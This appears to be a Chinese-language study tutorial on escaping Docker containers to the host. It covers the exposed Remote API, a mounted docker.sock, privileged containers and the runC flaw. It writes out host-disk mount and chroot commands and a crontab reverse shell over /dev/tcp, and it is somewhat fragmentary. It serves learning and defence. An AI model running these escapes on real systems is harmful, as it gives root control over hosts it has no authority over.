注意:本篇文章仅用于学习记录,不得用于其他用途。
docker逃逸就是从当前docker容器权限中逃逸出来,获得宿主机的权限。
脏牛漏洞,实战遇到的也不多,逃逸的原理是宿主机的内核有脏牛提权漏洞,docker容器又是和宿主机公用一套内核的,所在docker容器内使用脏牛拿的root shell,是内核级别的,即拿到了宿主机的root shell。
## 4、如何判断是宿主机还是docker容器
### (1)检查根目录下./dockerenv文件是否存在
ls -la ./dockerenv
### (2)检查/proc/1/cgroup内是否包含"docker"等字符串
cat /proc/1/cgroup
### (3)其他特征
容器ip大多是172.17段,而且很多常见的命令缺失。
# 三、配置不当引起的逃逸
## 1、Docker Remote API未授权访问
==先看一眼Docker Remote API是否存在未授权,2375端口是否开放。==
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可以直接调用API来操作docker。
```powershell
列出容器信息,效果与docker ps一致
curl http://:2375/containers/json
环境准备
漏洞原理
在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上
利用思路:通过挂在宿主机的目录,写定时任务获取shell,从而逃逸。
漏洞利用
指的是容器在启动的时候,挂载了/var/run/docker.sock,一般很少遇到。
/var/run/docker.sock是Docker守护程序默认监听的Unix套接字,它也是一个用于从容器内与Docker守护进程通信的工具。
实验环境准备
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
随后在docker容器中安装docker
# ubuntu 18.04 安装docker
apt-get update
# 安装依赖包
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 验证您现在是否拥有带有指纹的密钥
apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
apt-get update
# 安装最新的Docker-ce
apt-get install docker-ce
# 启动
systemctl enable docker systemctl start docker
安装完成后我们使用docker ps就可以看到宿主机上的容器了。
漏洞利用
将宿主机的根目录之间挂载到容器中的容器。
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju
实战中要先看一下是不是特权容器。
docker中存在一些比较高危的启动命苦,基于容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。
利用原理
特权容器可以直接在容器内挂载整个宿主机的磁盘,通过计划任务反弹宿主机的shell,进而实现了容器逃逸。
漏洞复现
通过特权模式运行一个容器。
docker run -it --privileged ubuntu:18.04
查看当前容器是否是特权容器
cat /proc/1/status | grep Cap
如果查询出来的值是00000003ffffffff,那么可以说明当前容器是特权容器。
在容器内,查看磁盘文件
fdisk -l
可以直接挂载宿主机的磁盘
mkdir ysz
mount /dev/sda5 ysz/
chroot /ysz
查看宿主机的etc/passwd
cat /etc/passwd
写计划任务反弹shell
环境准备
docker run -it -v /:/11111/ubuntu:18.04
漏洞利用
还是一样可以通过crontab反弹shell
chroot uzju
uzju是对应容器的目录。
crontab -e
*****/bin/bash -i >& /dev/tcp/ip/port 0>&1
需要管理员再次手动进入容器触发。
漏洞原理
漏洞点在于runC,runC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,作为低级别容器运行时,runC主要由高级别容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具,像docker这样高级别容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器,将进程附加到现有容器等。
==在Docker18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc二进制文件,攻击者可以在宿主机上以root身份执行命令。
影响版本
docker version <= 18.09.2
runc version <= 1.0-rc6
环境搭建
ubuntu18.04
sudo su
apt update
apt install lrzsz
apt install curl
apt install openssh-server
service sshd status
漏洞复现
exp
编译
set GOARCH=amd64
set GOOS=linux
go build main.go
将编译好的main文件上传至docker容器
使用wget命令。
在docker容器中运行文件。
接收反弹的shell,可以发现是宿主机。
解决方案:
盛极docker到最新的版本。
这个方法逃逸后,动静大,容器坏了,进不去也结束不了。